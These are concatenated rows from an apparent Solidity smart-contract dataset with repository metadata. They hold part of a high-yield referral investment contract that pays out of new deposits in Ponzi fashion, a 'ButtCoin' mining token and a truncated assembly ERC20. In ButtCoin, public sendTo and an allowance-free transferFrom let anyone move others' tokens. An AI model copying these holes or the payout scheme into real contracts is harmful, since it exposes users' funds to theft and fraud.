require(_commissionWallet != address(0), "invalid address");
commissionWallet = _commissionWallet;
}
function setInsuranceWallet(address payable _insuranceWallet) external onlyOwner {
require(_insuranceWallet != address(0), "invalid address");
insuranceWallet = _insuranceWallet;
}
function setStartUNIX(uint256 startDate) public onlyOwner {
require(block.timestamp < startUNIX, "contract has started");
require(startDate > block.timestamp, "Invalid startDate");
startUNIX = startDate;
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT, "Invalid invest amount");
require(plan < 6, "Invalid plan");
require(block.timestamp >= startUNIX, "contract hasn't started yet");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1); // TODDO: levels unuse
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(msg.value);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
function reinvest(uint8 plan) public {
require(plan < 6, "Invalid plan");
require(block.timestamp >= startUNIX, "contract hasn't started yet");
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 userReferralBonus = getUserReferralBonus(msg.sender);
if (userReferralBonus > 0) {
totalAmount = totalAmount.add(userReferralBonus);
user.bonus = 0;
}
require(totalAmount >= INVEST_MIN_AMOUNT, "Invalid invest amount");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, totalAmount);
user.deposits.push(Deposit(plan, percent, totalAmount, profit, block.timestamp, finish));
totalStaked = totalStaked.add(totalAmount);
emit NewDeposit(msg.sender, plan, percent, totalAmount, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
require(totalAmount > 0, "User has no dividends");
user.checkpoint = block.timestamp;
insuranceWallet.transfer(fees);
payable(msg.sender).transfer(totalAmount); // UPDATE: msg.sender -> payable(msg.sender)
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
} else {
return plans[plan].percent;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP)); // TODDO: test
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 333,127 | 11,787 |
ee7baa003857d0b9e67d3f85f6cd58ece9733ea7fe352144270105ac547e920b
| 23,505 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x54ccf0c46d45b85a37f960cbe1ecafae5844252b.sol
| 4,360 | 22,631 |
pragma solidity ^ 0.5 .10;
// ----------------------------------------------------------------------------
//'ButtCoin' contract, version 2.3
// See: https://github.com/butttcoin/0xBUTT
// Symbol : 0xBUTT
// Name : ButtCoin
// Total supply: Dynamic
// Decimals : 8
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
//addition
function add(uint a, uint b) internal pure returns(uint c) {
c = a + b;
require(c >= a);
}
//subtraction
function sub(uint a, uint b) internal pure returns(uint c) {
require(b <= a);
c = a - b;
}
//multiplication
function mul(uint a, uint b) internal pure returns(uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
//division
function div(uint a, uint b) internal pure returns(uint c) {
require(b > 0);
c = a / b;
}
//ceil
function ceil(uint a, uint m) internal pure returns(uint) {
uint c = add(a, m);
uint d = sub(c, 1);
return mul(div(d, m), m);
}
}
library ExtendedMath {
//also known as the minimum
function limitLessThan(uint a, uint b) internal pure returns(uint c) {
if (a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns(uint);
function burned() public view returns(uint);
function minted() public view returns(uint);
function mintingEpoch() public view returns(uint);
function balanceOf(address tokenOwner) public view returns(uint balance);
function allowance(address tokenOwner, address spender) public view returns(uint remaining);
function transfer(address to, uint tokens) public returns(bool success);
function approve(address spender, uint tokens) public returns(bool success);
function transferFrom(address from, address to, uint tokens) public returns(bool success);
function getSymbol() public view returns(string memory);
function getName() public view returns(string memory);
function getDecimals() public view returns(uint8);
function getCirculatingSupply() public view returns(uint256);
function getDifficultyExponent() public view returns(uint);
function getDecreaseStamp() public view returns(uint);
function getChallengeNumber() public view returns(bytes32);
function getMiningDifficulty() public view returns(uint);
function getMiningTarget() public view returns(uint);
function getPreviousSender() public view returns(address);
function getNextAward() public view returns(uint);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ZERO_X_BUTTv4 is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
uint256 public _burned;
uint private n;
uint private nFutureTime;
uint public _MAXIMUM_TARGET;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
uint private basePercent;
bool private locked = false;
address private previousSender = address(0); //the previous user of a contract
uint private miningTarget;
uint private _mintingEpoch;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
if (locked) revert();
symbol = "0xBUTT";
name = "ButtCoin";
decimals = 8;
basePercent = 100;
n = 234; //the maxiumum target exponent
_MAXIMUM_TARGET = 2 ** n;
uint toMint = 33554432 * 10 ** uint(decimals); //This is an assumption and a kick-start, which resets when 75% is burned.
premint(msg.sender, toMint);
tokensMinted = toMint;
_totalSupply = _totalSupply.add(toMint);
rewardEra = 1;
miningTarget = _MAXIMUM_TARGET;
_startNewMiningEpoch();
_mintingEpoch = 0;
nFutureTime = now + 1097 days; // about 3 years in future
locked = true;
}
// ------------------------------------------------------------------------
// Minting tokens before the mining.
// ------------------------------------------------------------------------
function premint(address account, uint256 amount) internal {
if (locked) revert();
require(amount != 0);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
// ------------------------------------------------------------------------
// Minting of tokens during the mining.
// ------------------------------------------------------------------------
function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success) {
bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce));
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if (uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if (solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
_totalSupply = _totalSupply.add(tokensMinted);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
emit Mint(msg.sender, reward_amount, rewardEra, challengeNumber);
return true;
}
// ------------------------------------------------------------------------
// Starts new mining epoch, a new 'block' to be mined.
// ------------------------------------------------------------------------
function _startNewMiningEpoch() internal {
rewardEra = rewardEra + 1; //increment the rewardEra
checkMintedNumber();
_reAdjustDifficulty();
challengeNumber = blockhash(block.number - 1);
}
//checks if the minted number is too high, reduces a tracking number if it is
function checkMintedNumber() internal {
if (tokensMinted >= (2 ** (230))) { //This will not happen in the forseable future.
//50 is neither too low or too high, we'd need additional tracking to get overall totals after this.
tokensMinted = tokensMinted.div(2 ** (50));
_burned = _burned.div(2 ** (50));
_mintingEpoch = _mintingEpoch + 1;
}
}
// ------------------------------------------------------------------------
// Readjust difficulty
// ------------------------------------------------------------------------
function _reAdjustDifficulty() internal {
n = n - 1;
miningTarget = (2 ** n);
nFutureTime = now + 1097 days;
uint treshold = (tokensMinted.mul(95)).div(100);
if(_burned>=treshold){
//lower difficulty to significant levels
n = (n.mul(105)).div(100);
if(n > 213){n = 213;}
miningTarget = (2 ** n);
}
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
// ------------------------------------------------------------------------
function sendTo(address from, address to, uint tokens) public returns(bool success) {
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function transfer(address to, uint tokens) public returns(bool success) {
pulseCheck();
uint256 tokensToBurn = findTwoPercent(tokens);
uint256 toZeroAddress = tokensToBurn.div(2);
uint256 toPreviousAddress = tokensToBurn.sub(toZeroAddress);
uint256 tokensToTransfer = tokens.sub(toZeroAddress.add(toPreviousAddress));
sendTo(msg.sender, to, tokensToTransfer);
sendTo(msg.sender, address(0), toZeroAddress);
if (previousSender != to) { //Don't send the tokens to yourself
sendTo(msg.sender, previousSender, toPreviousAddress);
if (previousSender == address(0)) {
_burned = _burned.add(toPreviousAddress);
}
}
if (to == address(0)) {
_burned = _burned.add(tokensToTransfer);
}
_burned = _burned.add(toZeroAddress);
_totalSupply = totalSupply();
previousSender = msg.sender;
return true;
}
function transferFrom(address from, address to, uint tokens) public returns(bool success) {
pulseCheck();
uint256 tokensToBurn = findTwoPercent(tokens);
uint256 toZeroAddress = tokensToBurn.div(2);
uint256 toPreviousAddress = tokensToBurn - toZeroAddress;
uint256 tokensToTransfer = tokens.sub(toZeroAddress).sub(toPreviousAddress);
sendTo(from, to, tokensToTransfer);
sendTo(from, address(0), toZeroAddress);
if (previousSender != to) { //Don't send tokens to yourself
sendTo(from, previousSender, toPreviousAddress);
if (previousSender == address(0)) {
_burned = _burned.add(toPreviousAddress);
}
}
if (to == address(0)) {
_burned = _burned.add(tokensToTransfer);
}
_burned = _burned.add(toZeroAddress);
_totalSupply = totalSupply();
previousSender = from;
return true;
}
function pulseCheck() internal{
//if either the coin is dead or the mining is stuck
if(nFutureTime<=now){
n = (n.mul(150)).div(100);
miningTarget = (2 ** n);
_startNewMiningEpoch();
}
}
// ------------------------------------------------------------------------
// Gives miners their earned reward, zero if everything is mined.
// ------------------------------------------------------------------------
function getMiningReward() internal returns(uint) {
uint reward = ((234 - n) ** 3) * 10 ** uint(decimals);
return reward;
}
// ------------------------------------------------------------------------
// Transfers to multiple accounts
// ------------------------------------------------------------------------
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
// ------------------------------------------------------------------------
// Calculates 2% for burning
// ------------------------------------------------------------------------
function findTwoPercent(uint256 value) private view returns(uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent.mul(2);
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns(bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns(uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns(bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Do not accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns(bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
//---------------------------------------VIEWS------------------------------------
// -------------------------------------------------------------------------------
// Gets token symbol
// -------------------------------------------------------------------------------
function getSymbol() public view returns(string memory) {
return symbol;
}
// -------------------------------------------------------------------------------
// Gets token name
// -------------------------------------------------------------------------------
function getName() public view returns(string memory) {
return name;
}
// -------------------------------------------------------------------------------
// Gets token decimals
// -------------------------------------------------------------------------------
function getDecimals() public view returns(uint8) {
return decimals;
}
// -------------------------------------------------------------------------------
// Gets circulating supply
// -------------------------------------------------------------------------------
function getCirculatingSupply() public view returns(uint256) {
return _totalSupply;
}
// -------------------------------------------------------------------------------
// Gets difficulty exponent n from the 2^n
// -------------------------------------------------------------------------------
function getDifficultyExponent() public view returns(uint) {
return n;
}
// -------------------------------------------------------------------------------
// Gets the timestamp of the moment when the decrease will drop if no increase in
// mining difficulty. This is to make sure coin is not in a dead-water
// -------------------------------------------------------------------------------
function getDecreaseStamp() public view returns(uint) {
return _mintingEpoch;
}
// -------------------------------------------------------------------------------
// Gets the minting epoch, will probably remain a zero
// -------------------------------------------------------------------------------
function getMintingEpoch() public view returns(uint) {
return nFutureTime;
}
// -------------------------------------------------------------------------------
// this is a recent ethereum block hash, used to prevent pre-mining future blocks.
// -------------------------------------------------------------------------------
function getChallengeNumber() public view returns(bytes32) {
return challengeNumber;
}
// -------------------------------------------------------------------------------
// Auto adjusts the number of zeroes the digest of the PoW solution requires.
// -------------------------------------------------------------------------------
function getMiningDifficulty() public view returns(uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
// -------------------------------------------------------------------------------
// Returns the mining target.
// -------------------------------------------------------------------------------
function getMiningTarget() public view returns(uint) {
return miningTarget;
}
// -------------------------------------------------------------------------------
// Returns the previous sender address.
// -------------------------------------------------------------------------------
function getPreviousSender() public view returns(address) {
return previousSender;
}
// -------------------------------------------------------------------------------
// Returns the next mining award
// -------------------------------------------------------------------------------
function getNextAward() public view returns(uint) {
return ((234 - n) ** 3) * 10 ** uint(decimals);
}
// ------------------------------------------------------------------------
// Used to help debugging the mining software.
// ------------------------------------------------------------------------
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns(bytes32 digesttest) {
bytes32 digest = keccak256(abi.encodePacked(challenge_number, msg.sender, nonce));
return digest;
}
// ------------------------------------------------------------------------
// Used to help debugging the mining software.
// ------------------------------------------------------------------------
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns(bool success) {
bytes32 digest = keccak256(abi.encodePacked(challenge_number, msg.sender, nonce));
if (uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns(uint) {
return tokensMinted.sub(_burned);
}
// ------------------------------------------------------------------------
// Burned tokens
// ------------------------------------------------------------------------
function burned() public view returns(uint) {
return _burned;
}
// ------------------------------------------------------------------------
// Minted tokens
// ------------------------------------------------------------------------
function minted() public view returns(uint) {
return tokensMinted;
}
// ------------------------------------------------------------------------
// Minting epoch
// ------------------------------------------------------------------------
function mintingEpoch() public view returns(uint) {
return _mintingEpoch;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns(uint balance) {
return balances[tokenOwner];
}
//---------------------------------------END VIEWS--------------------------------
}
| 339,566 | 11,788 |
66273b63ba82de9e74a8f7d46f1a92c6c0e018998eff6c22ea276d161739bc44
| 17,612 |
.sol
|
Solidity
| false |
559405087
|
kassandraoftroy/yulerc20
|
cddc8eb5081e9a24bb5aaebe7e479db98cc324d3
|
contracts/ERC20External.sol
| 5,805 | 17,477 |
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.4;
/// @notice ERC20 (including EIP-2612 Permit) using max inline assembly.
/// NOTE ERC20External.sol enhances gas savings from ERC20.sol, trade-off is methods marked external
/// @author kassandra.eth
/// NOTE Inspiration taken from Solmate and OpenZeppelin ERC20 implementations
/// Solmate repo: https://github.com/transmissions11/solmate
/// OZ repo: https://github.com/OpenZeppelin/openzeppelin-contracts
/// @dev name_ and symbol_ string contructor args must be 32 bytes or smaller
/// Do not manually set _balances without updating _supply (could cause math problems)
/// Do not adjust state layout here without fixing hardcoded sload/sstore slots across logic
/// We use custom errors for efficient but useful reverts
/// Inline assembly blocks have solidity translation comments! (Assume same 0.8+ solidity version)
/// NOTE Many methods here marked as external (even though EIP-20 spec has them public)
/// This is because they end execution and are thus not suitable for internal use as a subroutine
/// For accessor methods internal state can be accessed directly (e.g. _balances[a] vs balanceOf(a))
/// If your ERC20 requires INTERNAL access to transfer, transferFrom, or approve etc. use ERC20.sol
// solhint-disable-next-line max-states-count
abstract contract ERC20External {
// keccak256("Transfer(address,address,uint256)")
bytes32 internal constant _TRANSFER_HASH =
0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;
// keccak256("Approval(address,address,uint256)")
bytes32 internal constant _APPROVAL_HASH =
0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925;
// first 4 bytes of keccak256("InsufficientBalance()") right padded with 0s
bytes32 internal constant _INSUFFICIENT_BALANCE_SELECTOR =
0xf4d678b800000000000000000000000000000000000000000000000000000000;
// first 4 bytes of keccak256("InsufficientAllowance()") right padded with 0s
bytes32 internal constant _INSUFFICIENT_ALLOWANCE_SELECTOR =
0x13be252b00000000000000000000000000000000000000000000000000000000;
// first 4 bytes of keccak256("InvalidRecipientZero()") right padded with 0s
bytes32 internal constant _RECIPIENT_ZERO_SELECTOR =
0x4c131ee600000000000000000000000000000000000000000000000000000000;
// first 4 bytes of keccak256("InvalidSignature()") right padded with 0s
bytes32 internal constant _INVALID_SIG_SELECTOR =
0x8baa579f00000000000000000000000000000000000000000000000000000000;
// first 4 bytes of keccak256("Expired()") right padded with 0s
bytes32 internal constant _EXPIRED_SELECTOR =
0x203d82d800000000000000000000000000000000000000000000000000000000;
// first 4 bytes of keccak256("StringTooLong()") right padded with 0s
bytes32 internal constant _STRING_TOO_LONG_SELECTOR =
0xb11b2ad800000000000000000000000000000000000000000000000000000000;
// first 4 bytes of keccak256("Overflow()") right padded with 0s
bytes32 internal constant _OVERFLOW_SELECTOR =
0x35278d1200000000000000000000000000000000000000000000000000000000;
// solhint-disable-next-line max-line-length
// keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
bytes32 internal constant _EIP712_DOMAIN_PREFIX_HASH =
0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
// solhint-disable-next-line max-line-length
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)")
bytes32 internal constant _PERMIT_HASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
// keccak256("1")
bytes32 internal constant _VERSION_1_HASH =
0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
// max 256-bit integer, i.e. 2**256-1
bytes32 internal constant _MAX =
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
// token name, stored in an immutable bytes32 (constructor arg must be <=32 byte string)
bytes32 internal immutable _name;
// token symbol, stored in an immutable bytes32 (constructor arg must be <=32 byte string)
bytes32 internal immutable _symbol;
// token name string length
uint256 internal immutable _nameLen;
// token symbol string length
uint256 internal immutable _symbolLen;
// initial block.chainid, only changes in a future hardfork scenario
uint256 internal immutable _initialChainId;
// initial domain separator, only changes in a future hardfork scenario
bytes32 internal immutable _initialDomainSeparator;
// token balances mapping, storage slot 0x00
mapping(address => uint256) internal _balances;
// token allowances mapping (owner=>spender=>amount), storage slot 0x01
mapping(address => mapping(address => uint256)) internal _allowances;
// token total supply, storage slot 0x02
uint256 internal _supply;
// permit nonces, storage slot 0x03
mapping(address => uint256) internal _nonces;
event Transfer(address indexed src, address indexed dst, uint256 amount);
event Approval(address indexed src, address indexed dst, uint256 amount);
constructor(string memory name_, string memory symbol_) {
/// @dev constructor in solidity bc cannot handle immutables with inline assembly
/// also, constructor gas optimization not really important (one time cost)
// get string lengths
bytes memory nameB = bytes(name_);
bytes memory symbolB = bytes(symbol_);
uint256 nameLen = nameB.length;
uint256 symbolLen = symbolB.length;
// check strings are <=32 bytes
assembly {
if or(lt(0x20, nameLen), lt(0x20, symbolLen)) {
mstore(0x00, _STRING_TOO_LONG_SELECTOR)
revert(0x00, 0x04)
}
}
// compute domain separator
bytes32 initialDomainSeparator = _computeDomainSeparator(keccak256(nameB));
// set immutables
_name = bytes32(nameB);
_symbol = bytes32(symbolB);
_nameLen = nameLen;
_symbolLen = symbolLen;
_initialChainId = block.chainid;
_initialDomainSeparator = initialDomainSeparator;
}
function transfer(address dst, uint256 amount)
external
virtual
returns (bool)
{
assembly {
// require(dst != address(0), "Address Zero");
if iszero(dst) {
mstore(0x00, _RECIPIENT_ZERO_SELECTOR)
revert(0x00, 0x04)
}
// _balances[msg.sender] -= amount;
mstore(0x00, caller())
mstore(0x20, 0x00)
let srcSlot := keccak256(0x00, 0x40)
let srcBalance := sload(srcSlot)
if lt(srcBalance, amount) {
mstore(0x00, _INSUFFICIENT_BALANCE_SELECTOR)
revert(0x00, 0x04)
}
sstore(srcSlot, sub(srcBalance, amount))
// unchecked { _balances[dst] += amount; }
mstore(0x00, dst)
let dstSlot := keccak256(0x00, 0x40)
sstore(dstSlot, add(sload(dstSlot), amount))
// emit Transfer(msg.sender, dst, amount);
mstore(0x00, amount)
log3(0x00, 0x20, _TRANSFER_HASH, caller(), dst)
// return true;
mstore(0x00, 0x01)
return(0x00, 0x20)
}
}
// solhint-disable-next-line function-max-lines
function transferFrom(address src,
address dst,
uint256 amount) external virtual returns (bool) {
assembly {
// require(dst != address(0), "Address Zero");
if iszero(dst) {
mstore(0x00, _RECIPIENT_ZERO_SELECTOR)
revert(0x00, 0x04)
}
// uint256 allowanceVal = _allowances[msg.sender][dst];
mstore(0x00, src)
mstore(0x20, 0x01)
mstore(0x20, keccak256(0x00, 0x40))
mstore(0x00, caller())
let allowanceSlot := keccak256(0x00, 0x40)
let allowanceVal := sload(allowanceSlot)
// if (allowanceVal != _MAX) _allowances[msg.sender][dst] = allowanceVal - amount;
if lt(allowanceVal, _MAX) {
if lt(allowanceVal, amount) {
mstore(0x00, _INSUFFICIENT_ALLOWANCE_SELECTOR)
revert(0x00, 0x04)
}
sstore(allowanceSlot, sub(allowanceVal, amount))
/// @dev NOTE not logging Approval event here, OZ impl does
}
// _balances[src] -= amount;
mstore(0x00, src)
mstore(0x20, 0x00)
let srcSlot := keccak256(0x00, 0x40)
let srcBalance := sload(srcSlot)
if lt(srcBalance, amount) {
mstore(0x00, _INSUFFICIENT_BALANCE_SELECTOR)
revert(0x00, 0x04)
}
sstore(srcSlot, sub(srcBalance, amount))
// unchecked { _balances[dst] += amount; }
mstore(0x00, dst)
let dstSlot := keccak256(0x00, 0x40)
sstore(dstSlot, add(sload(dstSlot), amount))
// emit Transfer(src, dst, amount);
mstore(0x00, amount)
log3(0x00, 0x20, _TRANSFER_HASH, src, dst)
// return true;
mstore(0x00, 0x01)
return(0x00, 0x20)
}
}
function approve(address dst, uint256 amount)
external
virtual
returns (bool)
{
assembly {
// _allowances[msg.sender][dst] = amount;
mstore(0x00, caller())
mstore(0x20, 0x01)
mstore(0x20, keccak256(0x00, 0x40))
mstore(0x00, dst)
sstore(keccak256(0x00, 0x40), amount)
// emit Approval(msg.sender, dst, amount);
mstore(0x00, amount)
log3(0x00, 0x20, _APPROVAL_HASH, caller(), dst)
// return true;
mstore(0x00, 0x01)
return(0x00, 0x20)
}
}
function allowance(address src, address dst)
external
view
virtual
returns (uint256)
{
assembly {
